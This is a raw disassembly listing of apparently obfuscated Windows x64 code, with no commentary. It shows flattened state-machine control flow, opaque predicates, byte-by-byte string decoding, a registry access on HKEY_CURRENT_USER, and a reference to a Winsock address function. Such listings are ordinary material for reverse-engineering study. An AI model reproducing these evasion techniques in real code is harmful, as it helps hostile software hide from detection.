movzx edx, word [rdx]
add rdx, 0x1b
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032f70
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180033029
cmp ebx, 0xac12002d
jne 0x180032fc0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x1b
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180032fc0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x38], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180033022
cmp edx, 0x400f7ff8
jne 0x180033010
jmp 0x180033059
mov edx, 0x400f7ff8
jmp 0x180033010
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x38], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180033052
cmp ebx, 0x400f7ff8
jne 0x180033040
jmp 0x18003309c
mov ebx, 0x400f7ff8
jmp 0x180033040
mov dword [rbp + 0x10c], 0x75
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800330ec
cmp edx, 0xac12002d
jne 0x180033070
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x1c
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180033070
mov dword [rbp + 0x10c], 0x75
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180033129
cmp ebx, 0xac12002d
jne 0x1800330c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x1c
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800330c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x3a], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180033122
cmp edx, 0x400f7ff8
jne 0x180033110
mov edx, 0x400f7ff8
jmp 0x180033110
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x3a], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180033152
cmp ebx, 0x400f7ff8
jne 0x180033140
mov ebx, 0x400f7ff8
jmp 0x180033140
cmp edx, 0x3bd89cca
jne 0x180030a40
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
call fcn.18003eeb0
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x30
mov qword [rsp + 0x20], rcx
mov rcx, 0xffffffff80000001
mov rdx, rax
xor r8d, r8d
mov r9d, 0x2001f
call qword [rbp + 0xa0]
add rsp, 0x30
test eax, eax
sete byte [rbp + 0xbf]
mov eax, dword [0x180129708]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x310dded2
mov ecx, 0xfcd8384e
cmove eax, ecx
cmp dword [0x18012970c], 0xa
cmovl eax, ecx
mov r11d, 0x87cbc1a8
jmp 0x18002d840
mov r10, qword [rbp - 0x78]
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x180033660
mov eax, dword [rbp + 0xe8]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x110]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x1800336d0
cmp edx, 0x333d8297
jle 0x180033720
cmp edx, 0x5cca55f4
jg 0x18003379a
cmp edx, 0x333d8298
je 0x18003385d
cmp edx, 0x33ec62ab
je 0x180033872
cmp edx, 0x42d422e5
jne 0x180033660
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd8]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0xc4], edx
mov edx, dword [rbp + 0xc4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r15d
jmp 0x180033660
cmp edx, 0xc5fd57a7
jle 0x180033760
cmp edx, 0xeb000b68
jg 0x1800337ca
cmp edx, 0xc5fd57a8
je 0x180033882
cmp edx, 0xd1e81d16
je 0x180033890
cmp edx, 0xd597d4ff
jne 0x180033660
mov edx, 0x42d422e5
mov ebx, dword [rbp + 0xc0]
jmp 0x180033660
cmp edx, 0x12a1b9d7
jle 0x1800337fc
cmp edx, 0x12a1b9d8
je 0x1800338a9
cmp edx, 0x181b9de8
je 0x1800338b8
cmp edx, 0x28ad3f39
jne 0x180033660
mov edx, 0x73f80f82
jmp 0x180033660
cmp edx, 0xb163ad29
jle 0x18003382e
cmp edx, 0xb163ad2a
je 0x1800338e8
cmp edx, 0xb9d33223
je 0x180033911
cmp edx, 0xbb6ed30e
jne 0x180033660
mov edx, 0x12a1b9d8
jmp 0x180033660
cmp edx, 0x5cca55f5
je 0x180033921
cmp edx, 0x7343bfbc
je 0x180033619
cmp edx, 0x73f80f82
jne 0x180033660
mov edx, 0x42d422e5
xor ebx, ebx
jmp 0x180033660
cmp edx, 0xeb000b69
je 0x18003393a
cmp edx, 0xfb306983
jne 0x1800339af
mov edx, dword [rbp + 0xc4]
cmp edx, 0x7f
setl byte [rbp + 0xe6]
mov edx, 0x333d8298
jmp 0x180033660
cmp edx, 0xfe90a09c
je 0x180033965
cmp edx, 0x1dd0b01
jne 0x180033660
mov eax, dword [rbp + 0x10c]
cmp eax, 0x5b
setl byte [rbp + 0xe7]
mov edx, 0xd1e81d16
jmp 0x180033660
cmp edx, 0x87cbc1a8
je 0x180033995
cmp edx, 0x9302de66
jne 0x180033660
mov rcx, qword [rbp + 0x100]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xd0]
jmp 0x180033660
cmp byte [rbp + 0xe6], 0
mov edx, 0xbb6ed30e
cmovne edx, r14d
jmp 0x180033660
mov edx, 0xc5fd57a8
mov edi, dword [rbp + 0xc8]
jmp 0x180033660
mov dword [rbp + 0xe8], edi
mov edx, r9d
jmp 0x180033660
cmp byte [rbp + 0xe7], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x180033660
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180033660
movsxd rax, dword [rbp + 0xe8]
xor rax, qword [rbp + 0x110]
imul rax, r13
mov qword [rbp + 0x100], rax
mov eax, dword [rbp + 0xf0]
add eax, 1
mov dword [rbp + 0xd0], eax
mov edx, r8d
jmp 0x180033660
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x110], rcx
mov edx, dword [rbp + 0xd8]
mov eax, dword [rbp + 0xf0]
cmp eax, edx
mov edx, 0xf6d6bd87
cmovb edx, r11d
jmp 0x180033660
mov edx, 0xc5fd57a8
mov edi, dword [rbp + 0x10c]
jmp 0x180033660
mov edx, dword [rbp + 0xd8]
add edx, 1
mov dword [rbp + 0xc0], edx
mov edx, 0xd597d4ff
jmp 0x180033660
mov rax, qword [rbp + 0xf8]
movsx eax, byte [rax]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x10c]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x180033660
mov eax, dword [rbp + 0x10c]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0xc8], eax
mov edx, 0x33ec62ab
jmp 0x180033660
mov eax, dword [rbp + 0xf0]
add rax, r10
mov qword [rbp + 0xf8], rax
mov edx, 0xeb000b69
jmp 0x180033660
cmp edx, 0xf6d6bd87
jne 0x180033660
mov rax, qword [rbp + 0x110]
mov qword [rbp - 0x80], rax
mov eax, 0x7f55a676
jmp 0x18002d840
mov rax, qword [rbp - 0x10]
mov r9, qword [rbp + 0x90]
mov qword [rbp + 0xf0], r9
mov rax, qword [rbp + 0xf0]
mov word [rax], 0x8256
mov eax, dword [0x180129a40]
mov ecx, dword [0x180129a44]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp ecx, 0xa
mov edx, 0x51578b1e
mov esi, 0x35970d82
cmovl edx, esi
test ebx, ebx
mov eax, 0x51578b1e
cmovne edx, eax
mov eax, 0x51578b1e
mov edi, 0x801a95b8
cmove eax, edi
cmp ecx, 0xa
mov r8, qword [rbp + 0xf0]
movzx r10d, word [r9]
setl cl
cmovl eax, edi
xor cl, bl
cmove edx, esi
mov ebx, 0x5c7aabd7
nop dword [rax + rax]
cmp ebx, 0x35970d81
jle 0x180033a80
cmp ebx, 0x35970d82
je 0x180034d67
cmp ebx, 0x51578b1e
je 0x180033a94
cmp ebx, 0x5c7aabd7
jne 0x180033a50
mov ebx, 0x2963d5c2
jmp 0x180033a50
cmp ebx, 0x801a95b8
je 0x180033ab9
cmp ebx, 0x2963d5c2
jne 0x180033a50
mov ebx, eax
jmp 0x180033a50
mov ebx, 0x360723d0
nop dword [rax]
cmp ebx, 0x360723d0
je 0x180033ab2
cmp ebx, 0x8cebb28b
jne 0x180033aa0
jmp 0x180033ad9
mov ebx, 0x8cebb28b
jmp 0x180033aa0
mov ebx, 0x360723d0
nop
cmp ebx, 0x360723d0
je 0x180033ad2
cmp ebx, 0x8cebb28b
jne 0x180033ac0
jmp 0x180033af1
mov ebx, 0x8cebb28b
jmp 0x180033ac0
mov qword [rbp + 0x110], r10
mov rcx, qword [rbp + 0x110]
mov ebx, 0x801a95b8
jmp 0x180033a50
mov qword [rbp + 0x110], r10
mov rsi, qword [rbp + 0x110]
xor esi, 0x73
mov ebx, edx
jmp 0x180033a50
mov rcx, qword [rbp - 0x70]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov qword [rbp + 0xa0], rax
mov rcx, qword [rbp + 0x20]
sub rsp, 0x20
call fcn.180108668
add rsp, 0x20
mov r13, rax
add r13d, r13d
mov rax, qword [rbp + 0x98]
mov eax, dword [rax]
mov dword [rbp + 0x1c], eax
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x100], rax
mov dword [rbp + 0xf8], 0x43
mov r9d, dword [0x180129a48]
mov r8d, dword [0x180129a4c]
lea eax, [r9 - 1]
imul eax, r9d
and eax, 1
sete bl
cmp r8d, 0xa
setge dl
setl r10b
xor bl, dl
mov ecx, ebx
xor cl, 1
and dl, al
or cl, dl
xor cl, bl
mov esi, 0xc3afc9d1
mov ecx, 0xf497d488
cmovne esi, ecx
xor r10b, al
mov eax, r10d
xor al, 1
or al, dl
xor al, r10b
mov ebx, 0xc3afc9d1
mov r11d, 0x11b423ee
cmovne ebx, r11d
mov ecx, 0xf595137a
nop
cmp ecx, 0xdd3f276d
je 0x180034e9b
cmp ecx, 0xf595137a
jne 0x180033bc0
mov edx, 0xed76b2ab
nop dword [rax]
cmp edx, 0xed76b2aa
jle 0x180033c10
cmp edx, 0xed76b2ab
je 0x180033c27
cmp edx, 0xf497d488
je 0x180033c2b
cmp edx, 0x11b423ee
jne 0x180033be0
mov edx, esi
jmp 0x180033be0
cmp edx, 0xa3913908
je 0x180033c32
cmp edx, 0xc3afc9d1
jne 0x180033be0
mov edx, 0x11b423ee
jmp 0x180033be0
mov edx, ebx
jmp 0x180033be0
mov edx, 0xa3913908
jmp 0x180033be0
mov dword [rbp + 0x110], reloc.WS2_32.dll_inet_addr
mov eax, dword [rbp + 0x110]
mov ecx, 0xdd3f276d
jmp 0x180033bc0
mov rax, qword [rbp + 0x98]
mov dword [rax], 1
mov rax, qword [rbp + 0x68]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp + 0x68]
mov ecx, dword [0x180129750]
mov edx, dword [0x180129754]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0xc8]
cmp edx, 0xa
setl byte [rbp + 0xd0]
lea rcx, [rax + 2]
mov edx, 0x78d6c36f
nop dword [rax + rax]
cmp edx, 0x12ea160e
jg 0x180033cd0
cmp edx, 0xafd3ecd6
je 0x180035278
cmp edx, 0xefdf311b
je 0x180033d09
cmp edx, 0x1b66398
jne 0x180033ca0
mov edx, 0xefdf311b
jmp 0x180033ca0
cmp edx, 0x12ea160f
je 0x180033d39
cmp edx, 0x71f01366
je 0x180033d5c
cmp edx, 0x78d6c36f
jne 0x180033ca0
mov bl, byte [rbp + 0xc8]
cmp byte [rbp + 0xd0], 0
mov edx, 0x71f01366
mov edi, 0x12ea160f
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x180033ca0
movsx edx, byte [rbp + 0xd8]
mov ebx, 0x97fb8291
nop word cs:[rax + rax]
nop
cmp ebx, 0x97fb8291
je 0x180033d32
cmp ebx, 0xdd5a4a6e
jne 0x180033d20
jmp 0x180033d8c
mov ebx, 0xdd5a4a6e
jmp 0x180033d20
mov edx, 0x97fb8291
nop
cmp edx, 0x97fb8291
je 0x180033d55
cmp edx, 0xdd5a4a6e
jne 0x180033d40
jmp 0x180033df1
mov edx, 0xdd5a4a6e
jmp 0x180033d40
mov edx, 0x97fb8291
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x97fb8291
je 0x180033d85
cmp edx, 0xdd5a4a6e
jne 0x180033d70
jmp 0x180033e51
mov edx, 0xdd5a4a6e
jmp 0x180033d70
mov dword [rbp + 0xf8], 0x3f
movsxd rbx, dword [rbp + 0xf8]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
add ebx, edx
mov dword [rbp + 0xf8], ebx
mov ebx, 0xeb1dc982
nop word cs:[rax + rax]
cmp ebx, 0x9c671e68
je 0x180033eb1
cmp ebx, 0xeb1dc982
jne 0x180033dd0
mov edx, dword [rbp + 0xf8]
mov ebx, 0x9c671e68
jmp 0x180033dd0
mov dword [rbp + 0xf8], 0x3f
movsxd rdx, dword [rbp + 0xf8]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
add edx, 0x47
mov dword [rbp + 0xf8], edx
mov ebx, 0xeb1dc982
nop dword [rax]
cmp ebx, 0x9c671e68
je 0x180033ef9
cmp ebx, 0xeb1dc982
jne 0x180033e30
mov edx, dword [rbp + 0xf8]
mov ebx, 0x9c671e68
jmp 0x180033e30
mov dword [rbp + 0xf8], 0x3f
movsxd rdx, dword [rbp + 0xf8]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
add edx, 0x47
mov dword [rbp + 0xf8], edx
mov ebx, 0xeb1dc982
nop dword [rax]
cmp ebx, 0x9c671e68
je 0x180033f2c
cmp ebx, 0xeb1dc982
jne 0x180033e90
mov edx, dword [rbp + 0xf8]
mov ebx, 0x9c671e68
jmp 0x180033e90
mov byte [rbp + 0xe8], dl
mov dl, byte [rbp + 0xe8]
mov rbx, qword [rbp + 0x100]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x100]
mov ebx, 0x97fb8291
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x97fb8291
je 0x180033ef2
cmp ebx, 0xdd5a4a6e
jne 0x180033ee0
jmp 0x180033f5c
mov ebx, 0xdd5a4a6e
jmp 0x180033ee0
mov byte [rbp + 0xe8], dl
mov dl, byte [rbp + 0xe8]
mov byte [rax], dl
mov edx, 0x97fb8291
nop dword [rax]
cmp edx, 0x97fb8291
je 0x180033f25
cmp edx, 0xdd5a4a6e
jne 0x180033f10
jmp 0x180033fc1
mov edx, 0xdd5a4a6e
jmp 0x180033f10
mov byte [rbp + 0xe8], dl
mov dl, byte [rbp + 0xe8]
mov byte [rax], dl
mov edx, 0x97fb8291
nop
cmp edx, 0x97fb8291
je 0x180033f55
cmp edx, 0xdd5a4a6e
jne 0x180033f40
jmp 0x180034021
mov edx, 0xdd5a4a6e
jmp 0x180033f40
mov dword [rbp + 0xf8], 0x3f
movsxd rbx, dword [rbp + 0xf8]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
add ebx, 0x4d
mov dword [rbp + 0xf8], ebx
mov edi, 0xeb1dc982
nop word [rax + rax]
cmp edi, 0x9c671e68
je 0x180034081
cmp edi, 0xeb1dc982
jne 0x180033fa0
mov ebx, dword [rbp + 0xf8]
mov edi, 0x9c671e68
jmp 0x180033fa0
mov dword [rbp + 0xf8], 0x3f
movsxd rdx, dword [rbp + 0xf8]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
add edx, 0x65
mov dword [rbp + 0xf8], edx
mov ebx, 0xeb1dc982
nop dword [rax]
cmp ebx, 0x9c671e68
je 0x1800340b9
cmp ebx, 0xeb1dc982
jne 0x180034000
mov edx, dword [rbp + 0xf8]
mov ebx, 0x9c671e68
jmp 0x180034000
mov dword [rbp + 0xf8], 0x3f
movsxd rdx, dword [rbp + 0xf8]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
add edx, 0x65
mov dword [rbp + 0xf8], edx
mov ebx, 0xeb1dc982
nop dword [rax]
cmp ebx, 0x9c671e68
je 0x180034101
cmp ebx, 0xeb1dc982
jne 0x180034060
mov edx, dword [rbp + 0xf8]
mov ebx, 0x9c671e68
jmp 0x180034060
mov byte [rbp + 0xe8], bl
mov bl, byte [rbp + 0xe8]
mov byte [rdx + 1], bl
mov ebx, 0x97fb8291
nop word cs:[rax + rax]
nop
cmp ebx, 0x97fb8291
je 0x1800340b2
cmp ebx, 0xdd5a4a6e
jne 0x1800340a0
jmp 0x18003411a
mov ebx, 0xdd5a4a6e
jmp 0x1800340a0
mov byte [rbp + 0xe8], dl
mov dl, byte [rbp + 0xe8]
mov byte [rax + 1], dl
mov qword [rbp + 0x100], rcx
mov byte [rbp + 0xd8], 0x74
mov edx, dword [0x180129750]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x71f01366
mov ebx, 0x1b66398
cmove edx, ebx
cmp dword [0x180129754], 0xa
cmovl edx, ebx
jmp 0x180033ca0
mov byte [rbp + 0xe8], dl
mov dl, byte [rbp + 0xe8]
mov byte [rax + 1], dl
mov edx, 0x12ea160f
jmp 0x180033ca0
mov dword [rbp + 0xf8], 0x3f
movsxd rbx, dword [rbp + 0xf8]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
add ebx, 0x6f
mov dword [rbp + 0xf8], ebx
mov edi, 0xeb1dc982
nop word cs:[rax + rax]
nop
cmp edi, 0x9c671e68
je 0x18003417d
cmp edi, 0xeb1dc982
jne 0x180034160
mov ebx, dword [rbp + 0xf8]
mov edi, 0x9c671e68
jmp 0x180034160
mov byte [rbp + 0xe8], bl
mov bl, byte [rbp + 0xe8]
mov byte [rdx + 2], bl
mov ebx, 0x97fb8291
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x97fb8291
je 0x1800341b2
cmp ebx, 0xdd5a4a6e
jne 0x1800341a0
jmp 0x1800341b9
mov ebx, 0xdd5a4a6e
jmp 0x1800341a0
mov dword [rbp + 0xf8], 0x3f
movsxd rbx, dword [rbp + 0xf8]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
add ebx, 0x64
mov dword [rbp + 0xf8], ebx
mov edi, 0xeb1dc982
nop word cs:[rax + rax]
nop
cmp edi, 0x9c671e68
je 0x18003421d
cmp edi, 0xeb1dc982
jne 0x180034200
mov ebx, dword [rbp + 0xf8]
mov edi, 0x9c671e68
jmp 0x180034200
mov byte [rbp + 0xe8], bl
mov bl, byte [rbp + 0xe8]
mov byte [rdx + 3], bl
mov ebx, 0x97fb8291
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x97fb8291
je 0x180034252
cmp ebx, 0xdd5a4a6e
jne 0x180034240
jmp 0x180034259
mov ebx, 0xdd5a4a6e
jmp 0x180034240
mov dword [rbp + 0xf8], 0x3f
movsxd rbx, dword [rbp + 0xf8]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
add ebx, 0x75
mov dword [rbp + 0xf8], ebx
mov edi, 0xeb1dc982
nop word cs:[rax + rax]
nop
cmp edi, 0x9c671e68
je 0x1800342bd
cmp edi, 0xeb1dc982
jne 0x1800342a0
mov ebx, dword [rbp + 0xf8]
mov edi, 0x9c671e68
jmp 0x1800342a0
mov byte [rbp + 0xe8], bl
mov bl, byte [rbp + 0xe8]
mov byte [rdx + 4], bl
mov ebx, 0x97fb8291
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x97fb8291
je 0x1800342f2
cmp ebx, 0xdd5a4a6e
jne 0x1800342e0
jmp 0x1800342f9
mov ebx, 0xdd5a4a6e
jmp 0x1800342e0
mov dword [rbp + 0xf8], 0x3f
movsxd rbx, dword [rbp + 0xf8]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
add ebx, 0x6c
mov dword [rbp + 0xf8], ebx
mov edi, 0xeb1dc982
nop word cs:[rax + rax]
nop
cmp edi, 0x9c671e68
je 0x18003435d
cmp edi, 0xeb1dc982
jne 0x180034340
mov ebx, dword [rbp + 0xf8]
mov edi, 0x9c671e68
jmp 0x180034340
mov byte [rbp + 0xe8], bl
mov bl, byte [rbp + 0xe8]
mov byte [rdx + 5], bl
mov ebx, 0x97fb8291
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x97fb8291
je 0x180034392
cmp ebx, 0xdd5a4a6e
jne 0x180034380
jmp 0x180034399
mov ebx, 0xdd5a4a6e
jmp 0x180034380
mov dword [rbp + 0xf8], 0x3f
movsxd rbx, dword [rbp + 0xf8]
imul rdi, rbx, 0x4ec4ec4f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x22
add edi, esi
lea esi, [rdi + rdi*2]
lea edi, [rdi + rsi*4]
sub ebx, edi
add ebx, 0x65
mov dword [rbp + 0xf8], ebx
mov edi, 0xeb1dc982
nop word cs:[rax + rax]
nop
cmp edi, 0x9c671e68
je 0x1800343fd
cmp edi, 0xeb1dc982
jne 0x1800343e0
mov ebx, dword [rbp + 0xf8]
mov edi, 0x9c671e68
jmp 0x1800343e0
mov byte [rbp + 0xe8], bl
mov bl, byte [rbp + 0xe8]
mov byte [rdx + 6], bl
add rdx, 7
mov qword [rbp + 0x110], rdx
mov byte [rbp + 0xf0], 0x46
mov edx, 0xafd3ecd6
jmp 0x180033ca0
mov rax, qword [rbp + 0x48]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov r8, qword [rbp + 0x48]
mov qword [rbp + 0xd0], r8
mov rcx, qword [rbp + 0xd0]
mov byte [rcx], 0x3e
mov rcx, qword [rbp + 0xd0]
mov dl, byte [r8]
mov edi, 0xfc13965c
nop dword [rax + rax]
cmp edi, 0x1f580374
je 0x1800352ac
cmp edi, 0xfc13965c
jne 0x180034460
mov ebx, 0xa6a3dcbd
nop dword [rax]
cmp ebx, 0xa6a3dcbd
je 0x180034492
cmp ebx, 0x2ac933c9
jne 0x180034480
jmp 0x180034499
mov ebx, 0x2ac933c9
jmp 0x180034480
mov byte [rbp + 0x110], dl
movsx ebx, byte [rbp + 0x110]
mov edi, 0x1f580374
jmp 0x180034460
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x78]
mov dword [rbp + 0x100], 0x52
mov ecx, 0x77906a8
nop word cs:[rax + rax]
nop
cmp ecx, 0x77906a8
je 0x1800344e5
cmp ecx, 0xd85e0dcf
jne 0x1800344d0
jmp 0x180035c57
mov ecx, 0xd85e0dcf
jmp 0x1800344d0
lea rax, [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rax, qword [rbp + 0x30]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rax, [rbp + 0x118]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp + 0x28]
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov dword [rbp + 0x118], 0x68
mov dword [rbp + 0x154], 1
mov word [rbp + 0x158], 0
lea rdi, [rbp + 0x198]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rdi
mov rax, qword [rbp + 0xf0]
mov byte [rax], 0x56
mov rax, qword [rbp + 0xf0]
mov cl, byte [rbp + 0x198]
mov edx, ecx
xor dl, 0x47
mov ebx, 0x3ab3246b
mov esi, 0xf91cfd5f
nop word cs:[rax + rax]
nop
cmp ebx, 0x3ab3246b
je 0x1800345b5
cmp ebx, 0xa6a051f9
jne 0x1800345a0
jmp 0x180035c97
mov ebx, 0xa6a051f9
jmp 0x1800345a0
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax], dx
mov dword [rbp + 0x110], 0x65
mov edx, 0xb00971f2
nop word cs:[rax + rax]
nop
cmp edx, 0xe22e0eda
je 0x180035cdc
cmp edx, 0xb00971f2
jne 0x1800345f0
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180034622
cmp ecx, 0x66b4b012
jne 0x180034610
jmp 0x180034629
mov ecx, 0x66b4b012
jmp 0x180034610
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x1800345f0
mov dword [rbp + 0x110], eax
mov eax, dword [rbp + 0xf8]
add eax, dword [rbp + 0x110]
mov rcx, qword [rbp + 0x100]
mov byte [rcx], al
mov ecx, 0x12f2d90f
mov al, byte [rbp + 0xf0]
nop word cs:[rax + rax]
cmp ecx, 0xd627468
je 0x180035d60
cmp ecx, 0x12f2d90f
jne 0x180034670
mov rax, qword [rbp + 0x100]
mov dword [rbp + 0xe8], 0x65
mov edx, 0x27f98b50
nop word [rax + rax]
cmp edx, 0xd32bdbb5
je 0x18003470d
cmp edx, 0x27f98b50
jne 0x1800346a0
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x1800346d2
cmp ecx, 0xea6b28af
jne 0x1800346c0
jmp 0x1800346d9
mov ecx, 0xea6b28af
jmp 0x1800346c0
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x1800346a0
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 1], cl
mov dword [rbp + 0xe8], 0x67
mov edx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x1800347ad
cmp edx, 0x27f98b50
jne 0x180034740
mov ecx, 0x1e39649a
nop word cs:[rax + rax]
nop
cmp ecx, 0x1e39649a
je 0x180034772
cmp ecx, 0xea6b28af
jne 0x180034760
jmp 0x180034779
mov ecx, 0xea6b28af
jmp 0x180034760
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180034740
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
